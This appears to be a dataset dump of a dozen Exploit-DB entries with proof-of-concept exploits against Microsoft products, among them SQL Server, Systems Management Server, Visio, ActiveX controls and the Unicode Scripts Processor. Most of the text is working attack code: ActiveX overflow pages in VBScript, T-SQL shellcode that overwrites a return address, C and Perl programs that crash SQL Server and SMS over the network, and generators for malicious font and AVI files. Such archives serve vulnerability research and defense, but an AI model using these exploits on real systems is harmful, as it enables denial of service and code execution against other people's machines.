deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4379
Description: Microsoft SQL Server - Distributed Management Objects 'sqldmo.dll' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-09-08
Author: rgod

Exploit:
<!--
18.48 01/09/2007
Microsoft SQL Server Distributed Management Objects OLE DLL for
SQL Enterprise Manager (sqldmo.dll) remote buffer overflow poc

file version: 2[PII_REDACTED].00
product version: 8.05.2004

passing some fuzzy chars to Start method:

EAX 00000000
ECX 00620062
EDX 00620062
EBX 1C3A3638 SQLDMO.1C3A3638
ESP 0013D87C
EBP 0013DAA8
ESI 03042544
EDI 0013DAA0 ASCII "|T"
EIP 1C1C9800 SQLDMO.1C1C9800

...
1C1C97EA   8D8D E4FDFFFF    LEA ECX,DWORD PTR SS:[EBP-21C]
1C1C97F0   51               PUSH ECX
1C1C97F1   8B95 E0FDFFFF    MOV EDX,DWORD PTR SS:[EBP-220]
1C1C97F7   8B02             MOV EAX,DWORD PTR DS:[EDX]
1C1C97F9   8B8D E0FDFFFF    MOV ECX,DWORD PTR SS:[EBP-220]
1C1C97FF   51               PUSH ECX
1C1C9800   FF90 DC010000    CALL DWORD PTR DS:[EAX+1DC] <--- exception
access violation when reading 000001DC

by manipulating edx you have the first exploitable condition...


also seh is overwritten, then:

EAX 00000000
ECX 00610061
EDX 7C9137D8 ntdll.7C9137D8
EBX 00000000
ESP 0013D4AC
EBP 0013D4CC
ESI 00000000
EDI 00000000
EIP 00610061

object safety report:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True

means: works according to security settings for the Internet zone
needs Activex "not marked as safe" option set to "ask" or "enabled" (not the predefined one)

rgod.
http://retrogod.altervista.org
-->
<html>
<object classid='clsid:10020200-E260-11CF-AE68-00AA004A34D5' id='SQLServer' /></object>
<script language='vbscript'>

targetFile = "C:\Programmi\Microsoft SQL Server\80\Tools\Binn\sqldmo.dll"
prototype  = "Sub Start ( ByVal StartMode As Boolean ,  [ ByVal Server As Variant ] ,  [ ByVal Login As Variant ] ,  [ ByVal Password As Variant ] )"
memberName = "Start"
progid     = "SQLDMO.SQLServer"
argCount   = 4

'edx = ecx
edx       ="bb"
seh       ="aa"
StartMode =True
Server    ="http://ZZZZ\YYYY\XXXX\WW?W\VVVV\AAAA\AAA\AAAAA\AAAA\AA@AA\tes\test\test\tes.\ttest\MMMM\LLLL\KKK\JJJJ\IIII\HH.H\GGGGG\FFFF\EEEE\DDD\CCCC\BBBB\AAA\A\\\\\\\\\:#$%AAAA\BBBB\CCCC\DD?D\EEEE\FFFF\GGG\\:#$%\HHHHH\IIII\te@st\tes\test\test\tes.aaaabbbbccccddddeeeeffffgggghhhhiiiiaaaaaaa" + seh + "CCDmmm" + edx + "nnnBBBB\AAAA\ZZZ\Z\\\\\\\\\:#$%YYYY\XXXX\WWWW\VV?V\UUUU\TTTT\SSS\\:#$%\RRRRR\QQQQ\PP@PP\OOO\NNNN\MMMM\LLL.\KKKKK\JJJJ\IIII\HHH\GGGG\FFFF\EE.E\DDDDD\CCCC\BBBB\AAA\AAAA\AAAA\AAA\A\\\\\\\\\:#$%AAAA\AAAA\AAAA\AA?A\wwww\vvvv\uuu\\:#$%\ttttt\ssss\rr@rr\qqq\pppp\oooo\nnn.\mmmmm\llll\kkkk\jjj\iiii\hhhh\gg.g\fffff\eeee\dddd\ccc\bbbb\aaaa\AAA\A\\\\\\\"
Login     ="aaaaaaaa"
[CREDENTIAL_REDACTED]"

SQLServer.Start StartMode ,Server ,Login ,Password

</script>
</html>

# milw0rm.com [2007-09-08]
Exploit-DB #21540
Description: Microsoft SQL Server 2000 - 'SQLXML' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2002-06-12
Author: Matt Moore

Exploit:
source: https://www.securityfocus.com/bid/5004/info

SQLXML is a component of SQL Server 2000, which enables SQL servers to receive and send database queries via XML (Extensible Markup Language) format. Such queries can be sent using various methods of communication, one of which is via HTTP. SQLXML HTTP components reside in a virtual directory on a web server and are not enabled by default, SQLXML ISAPI extensions run with LocalSystem privileges.

A buffer overflow issue has been discovered in the SQLXML ISAPI extension that handles data queries over HTTP(SQLXML HTTP).

It is possible for a user to initiate the overflow by connecting to a host and submitting malformed data.

This issue has been reported to exist in SQL Server 2000 Gold, other versions may be vulnerable as well. 

IIS-Server/Nwind/Template/catalog.xml?contenttype=text/AAAA...AAA

This uses a 'template' file instead of a direct query to cause inetinfo.exe to crash.
Exploit-DB #21569
Description: Microsoft SQL Server 2000 / Microsoft Jet 4.0 Engine - Unicode Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2002-06-19
Author: NGSSoftware

Exploit:
source: https://www.securityfocus.com/bid/5057/info

Microsoft SQL Server is prone to a remotely exploitable unicode-based buffer overflow condition. This condition occurs when the OpenDataSource function is used with MS Jet Engine.

This issue may be exploited to execute attacker-supplied instructions with the privileges of the SQL Server process. This issue requires that the attacker can pass malicious data to the OpenDataSource function and may be exploitable remotely via SQL injection vulnerabilities in web-based software.

Due to this being an issue in the MS Jet Engine component itself, other products which rely on Jet Engine may also be affected by this vulnerability.

We previously alerted on this issue in BID 4847 "Microsoft SQL Server 2000 Multiple Vulnerabilities". This issue was originally publicized as a VNA by NGSSoftware. 

-------8<---------

-- Simple Proof of Concept
-- Exploits a buffer overrun in OpenDataSource()
--
-- Demonstrates how to exploit a UNICODE overflow using T-SQL
-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO
-- I'm overwriting the saved return address with 0x42B0C9DC
-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2
-- The address holds a jmp esp instruction.
--
-- To protect against this overflow download the latest Jet Service
-- pack from Microsoft - http://www.microsoft.com/
--
-- David Litchfield (david@ngssoftware.com)
-- 19th June 2002



declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)

select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141

while @cnt < 1063
begin
select @padding = @padding + @pad
select @cnt = @cnt + 1
end

-- overwrite the saved return address

select @saved_return_address = 0xDCC9B042
select @more_pad = 0x[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K
Sp2
-- change if running a different service pack

select @code =
0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D[PII_REDACTED]0485050B0
C05052B8876FE877FFD0CCCCCCCCCC
select @exploit = N'SELECT * FROM
penDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\'
select @exploit = @exploit + @padding + @saved_return_address + @more_pad +
@code
select @exploit = @exploit + N'";User ID=Admin;Password=;Extended
properties=Excel 5.0'')...xactions'
exec (@exploit)

------->8---------
Exploit-DB #24639
Description: Microsoft SQL Server 7.0 - Remote Denial of Service (1)
Type: dos
Platform: windows
Date: 2004-09-28
Author: securma massine

Exploit:
// source: https://www.securityfocus.com/bid/11265/info

Reportedly Microsoft SQL Server is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to handle irregular network communications.

An attacker may leverage this issue to cause the affected server to crash, denying service to legitimate users.

/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
�* By sending a large buffer with specified data an attacker can stop the service
�* "mssqlserver" the error noticed is different according to services' pack but the result is always
�* the same one.
�*� Exception Codes = c0000005
�* vulnerable:� MSSQL7.0 sp0 - sp1 - sp2 - sp3
�* This code is for educational purposes, I am not responsible for your acts
�* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
u_long resolv(char*);

void main(int argc, char **argv) {
�WSADATA WinsockData;
�SOCKET s;
�int i;
�struct sockaddr_in vulh;
�char buffer[700000];
�for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);

�if (argc!=3) {
� printf("� MSSQL denial of service\n");
� printf("��� by securma massine\n");
� printf("Cet outil a ete cree pour test ,je ne suis en aucun cas responsable des degats que vous pouvez en faire\n");
� printf("Syntaxe: MSSQLdos <ip> <port>\n");
� exit(1);
�}
�WSAStartup(0x101,&WinsockData);
�s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
�ZeroMemory(&vulh,sizeof(vulh));
�vulh.sin_family=AF_INET;
�vulh.sin_addr.s_addr=resolv(argv[1]);
�vulh.sin_port=htons(atoi(argv[2]));
�if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
� printf("Impossible de se connecter...le port est en generale 1433...\n");
� exit(1);
�}
� {
� send(s,buffer,sizeof(buffer),0);
�
� printf("Data envoyes...\n");
�}
�printf("\nattendez quelques secondes et verifiez que le serveur ne repond plus.\n");
�closesocket(s);
�WSACleanup();
}

u_long resolv(char *host_name) {
�struct in_addr addr;
�struct hostent *host_ent;
�if ((addr.s_addr = inet_addr(host_name)) == -1) {
� if (!(host_ent = gethostbyname(host_name))) {
�� printf ("Erreur DNS : Impossible de r�soudre l'adresse %s !!!\n",host_name);
�� exit(1);
� }
� CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
�}
�return addr.s_addr;
}
Exploit-DB #22576
Description: Microsoft SQL Server 7.0/2000 JET Database Engine 4.0 - Buffer Overrun
Type: dos
Platform: windows
Date: 2003-05-09
Author: cesaro

Exploit:
source: https://www.securityfocus.com/bid/7541/info

Microsoft SQL Server is prone to an exploitable buffer overrun vulnerability via the Jet Database Engine. This can occur while the JET 4.0 OLE DB data provider is querying data supplied via a remote source and is due to insufficient bounds checking of parameters of heterogeneous or ad hoc query methods.

select * from openrowset('microsoft.jet.oledb.4.0','c:\anydatabase.mdb';'admin';'','select XXX...()')

or

select * from Openquery(SomeJet40LinkedServer,'Select XXX...()')


(where XXX... is more than 276 chars)
Exploit-DB #19638
Description: Microsoft SQL Server 7.0/7.0 SP1 - NULL Data Denial of Service
Type: dos
Platform: windows
Date: 1999-11-19
Author: Kevork Belian

Exploit:
// source: https://www.securityfocus.com/bid/817/info

If Microsoft SQL Server 7.0 receives a TDS header with three or more NULL bytes as data it will crash. The crash will generate an event in the log with ID 17055 "fatal exception EXCEPTION_ACCESS VIOLATION". 

/*
** sqldos.c -- a DoS attack agains MS SQL Server
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 1433    /* the port SQL Server listens on */


int main(int argc, char *argv[])
{
    int sockfd, numbytes;
    struct hostent *he;
    char buff[65535];
    struct sockaddr_in target_addr;

    if (argc != 2) {
        fprintf(stderr,"Usage: sqldos target\n");
        exit(1);
    }

    if ((he=gethostbyname(argv[1])) == NULL)

        perror("gethostbyname");
        exit(1);
    }

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket error");
        exit(1);
    }

    target_addr.sin_family = AF_INET;
    target_addr.sin_port = htons(PORT);
    target_addr.sin_addr = *((struct in_addr *)he->h_addr);
    bzero(&(target_addr.sin_zero), 8);

    if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct
sockaddr)) == -1) {
        perror("connect error");
        exit(1);
    }
    memset(&buff, 0, 3);

    if ((numbytes=send(sockfd, buff, 14, 0)) == -1) {
        perror("send errot");
        exit(1);
    }
    close(sockfd);

    return 0;
}
Exploit-DB #24281
Description: Microsoft Systems Management Server 1.2/2.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-07-14
Author: HexView

Exploit:
source: https://www.securityfocus.com/bid/10726/info

Reportedly Microsoft Systems Management Server is vulnerable to a remote denial of service vulnerability. This issue is due to a failure of the affected server to handle exceptional conditions.

Successful exploitation of this issue will allow an attacker to trigger a denial of service condition in the affected server. Code execution might be possible but is unlikely and unconfirmed. 

#!/usr/bin/perl

#############################
#
# SMS DOS proof of concept and test code
#
#############################

use Socket;
use IO::Socket;

if (@ARGV != 1)
{
        print "usage: $0 <host or ip>\n";
        exit;
}

$host = shift(@ARGV);

$hexmsg =
converthex("[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]58585858[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]58585858");

print "\nCreating socket for connection to: $host\n\n";

my $sock1 = IO::Socket::INET->new (PeerAddr => $host, PeerPort => "(2702)", Proto => "tcp") or die("Could not create socket: $!\n");

$sock1->autoflush(1);

print $sock1 "$hexmsg";

while (<$sock1>)
{
        print;
}

print "\nPacket sent to $host (please wait) ...\n";

sleep(2);

print "Verifying status of $host ...\n";

sleep(2);

my $sock2 = IO::Socket::INET->new (PeerAddr => $host, PeerPort => '(2702)', Proto => 'tcp') or die("\nDOS was successful - $host is down ...\n");

print "\nAttempt was not successful. $host is still alive and responding ...\n";

close($sock1);
close($sock2);
#############################
# End main code, start subs
#############################

sub converthex
{
        local ($l) = @_;
        $l =~ s/([0-9a-f]{1,2})\s*/sprintf("%c",hex($1))/egi;

        return $l;
}

#############################
# End code
#############################
Exploit-DB #15158
Description: Microsoft Unicode Scripts Processor - Remote Code Execution (MS10-063)
Type: dos
Platform: windows
Date: 2010-09-30
Author: Abysssec

Exploit:
'''
 
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  (Final Binary Analysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

'''
  Title             : Microsoft Unicode Scripts Processor Remote Code Execution 
  Version           : usp10.dll XP , Vista
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.microsoft.com
  Impact            : Critical
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-2738
  MOAUB Number      : MOAUB-FINAL

http://www.exploit-db.com/moaub-30-microsoft-unicode-scripts-processor-remote-code-execution-ms10-063/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15158.zip (moaub-30-PoC.zip)
'''

import sys
import struct
def main():
   
    try:
				
		fdR = open('src.ttf', 'rb+')
		strTotal = fdR.read()
		str1 = strTotal[:18316]
		nGroups = '\x00\x00\x00\xDC'          # nGroups field from Format 12 subtable  of cmap table
		startCharCode = '\x00\xE5\xF7\x20'    # startCharCode  field from a Group Structure
		endCharCode  = '\x00\xE5\xF7\xFE'     # endCharCode  field from a Group Structure
		str2 = strTotal[18328:]
		
		fdW= open('FreeSans.ttf', 'wb+')
		fdW.write(str1)
		fdW.write(nGroups)
		fdW.write(startCharCode)
		fdW.write(endCharCode)
		fdW.write(str2)
		fdW.close()
		fdR.close()
		print '[-] Font file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main()
Exploit-DB #22679
Description: Microsoft Visio 2010 - Crash (PoC)
Type: dos
Platform: windows
Date: 2012-11-13
Author: coolkaveh

Exploit:
Title     :  Microsoft Visio 2010 memory corruption
Version   :  Microsoft Visio Premium 2010 SP1
Date      :  2012-11-12
Vendor    :  http://office.microsoft.com
Impact    :  Med/High
Contact   :  coolkaveh [at] rocketmail.com
Twitter   :  @coolkaveh
tested    :  Windows XP SP3 ENG
###############################################################################
Bug :
----
memory corruption during the handling of the vsd files a context-dependent attacker 
can execute arbitrary code.
---- 
################################################################################
(c18.c0c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 
ebx=05ddd70c 
ecx=05db01cc 
edx=00000000 
esi=6095f708 
edi=6095f708
eip=600c7b69 
esp=0012de78 
ebp=0012de78 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  
Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\VISLIB.dll - 
VISLIB!Ordinal1+0xc029b:
600c7b69[PII_REDACTED]      cmp     word ptr [eax+2],18h     ds:0023:00000002=????
-----------------------------------------------------------------------------------------
HostMachine\HostUser
Executing Processor Architecture is x86
Debuggee is in User Mode
Debuggee is a live user mode debugging session on the local machine
Event Type: Exception
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
Exception Faulting Address: 0x2
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Read Access Violation

Faulting Instruction:600c7b69 cmp word ptr [eax+2],18h
Missing image name, possible paged-out or corrupt data.

Basic Block:
    600c7b69 cmp word ptr [eax+2],18h
       Tainted Input Operands: eax
    600c7b6e sbb eax,eax
    600c7b70 and eax,offset <unloaded_l32.dll>+0x7f (00000080)
       Tainted Input Operands: eax
    600c7b75 pop ebp
    600c7b76 ret 4
       Tainted Input Operands: eax

Exception Hash (Major/Minor): 0x05626b64.0x04025a3c

Stack Trace:
VISLIB!Ordinal1+0xc029b
VISLIB!Ordinal1+0xc5d91
VISLIB!Ordinal1+0xc01ea
VISLIB!Ordinal1+0xbfe27
VISLIB!Ordinal1+0xbfd8f
VISLIB!Ordinal1+0xbff8b
VISLIB!Ordinal1+0xbfe8e
VISLIB!Ordinal1+0x28f325
 
################################################################################
Proof of concept included.

http://www24.zippyshare.com/v/85134950/file.html
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22679.rar
Exploit-DB #46621
Description: Microsoft Visio 2016 16.0.4738.1000 - 'Log in accounts' Denial of Service
Type: dos
Platform: windows
Date: 2019-03-28
Author: César Adrián Coronado Llanos

Exploit:
# -⋆- coding: utf-8 -⋆-
Created on Thu Feb 21 01:32:50 2019

@author: César
"""

#Exploit Title: Microsoft Visio 2016 (16.0.4738.1000) "Log in accounts" allows go on whit email formed by one thousand A in every of its parts AAA---A@AAA--A.AAA---A 
#Descovered by: César Adrián Coronado Llanos
#Descovered Date; Sun Feb 17 20:34:23 2019
#Vendor Homepage: https://www.microsoft.com
#Tested Version: 16.0.4738.1000 x64
#Tested on OS: Microsoft Windows 10 Home Single Language x64
#Versión 		10.0.10240 compilación 10240

#Steps to produce the crash
#1.- Run c code: generator.c
#2.- Open the file created "letters.txt" and copy the text content to clipboard
#3.- Open Visio 2016
#4.- Click in change account or Login
#5.- In the Login paste the clipboard, typewrite @ paste again the clipboard, typewrite . and paste for last time the clipboard, clik in next
#6.- Click in professional account
#7.- Visio 2016 don't respond, however it stays in a white window and don't send us any message

Note: For do this you need internet conection.

#include<stdio.h>
int main(){
	int i;
	FILE *letters;
	if((letters = fopen("letters.txt","w+")) != NULL){
		for(i=0;i<999;i++){
			fprintf(letters,"A");
		}
	}
	fclose(letters);
	printf("\tThe file was created successfully!!\n");
}

Note: This code was compiled in dev C++
Exploit-DB #7431
Description: Microsoft Visual Basic - ActiveX Controls mscomct2.ocx Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-12-12
Author: Jerome Athias

Exploit:
#!/usr/bin/perl
# Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object  Buffer Overflow (CVE-2008-4255) PoC
# You'll need Debugging Tools for Windows http://www.microsoft.com/whdc/devtools/debugging/default.mspx
# /JA
# Come to FRHACK!
# www.frhack.org

print "\nMicrosoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC\n";
print "Generating malicious .AVI file\n";
print "This file should be served via an UNC path\n";
print "[->] Building  evil.avi\n";

my $shellcode = "http://metasploit.com";

$FileHeader =
"\x52\x49\x46\x46\x2C\x08\x00\x00\x41\x56\x49\x20\x73\x74\x72\x68\x10\x00\x00\x00\x76\x69\x64\x73\x20\x20\x20\x20\x00\x00\x00\x00".
"\x00\x00\x00\x00\x73\x74\x72\x66\x00\x08\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

open(my $poc, "> evil.avi");
print $poc $FileHeader;
close($poc);

print "[->] evil.avi generated\n";
print "[->] Building  evil.html\n";

$EvilHTML =
"<html><head></head><body><object id='evil' classid='clsid:B09DE715-87C1-11D1-8BE3-0000F8754DA1'><param name='AutoPlay' value='True'></object>".
"<script language=javascript>evil.Open('\\\\192.168.0.1\\share\\evil.avi');</script></body></html>";

open(my $poc, "> evil.html");
print $poc $EvilHTML;
close($poc);

print "[->] evil.html generated\n";

# milw0rm.com [2008-12-12]
Exploit-DB #4369
Description: Microsoft Visual FoxPro 6.0 - FPOLE.OCX 6.0.8450.0 Remote (PoC)
Type: dos
Platform: windows
Date: 2007-09-06
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------------
 <b>0-day: Microsoft Visual FoxPro 6.0 fpole 1.0 Type Library (FPOLE.OCX v. 6.0.8450.0) Remote Stack Overflow</b>
 url: http://www.microsoft.com

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 This control is marked as:
 <b>RegKey Safe for Script: Falso
 RegKey Safe for Init: Falso
 Implements IObjectSafety: Vero
 IDisp Safe:  Safe for untrusted: caller  
 KillBitSet: Falso</b>

 This is a dump:
 <b>registers:

 EAX 000287C4
 ECX 017923C8
 EDX 017FC60D ASCII "bbbbbbbbbbbb..."
 EBX 04E51ED8
 ESP 017FC3C0
 EBP 017FC5FC
 ESI 000493E1
 EDI 7C80BDB6 kernel32.lstrlenA

 EIP 04E46807 FPOLE.04E46807
 
 *********************************************

 stack:
 [...]
 017FC60C  |62626262
 017FC610  |62626262
 017FC614  |62626262
 017FC618  |62626262
 017FC61C  |62626262
 [...]</b>
 
 so I think code execution is possible even if, in this moment of my life, I really have no time to
 investigate :)
-----------------------------------------------------------------------------------------------------------

<object classid='clsid:EF28418F-FFB2-11D0-861A-00A0C903A97F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  buff = String(300000, "b")
  test.FoxDoCmd buff, 1
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-09-06]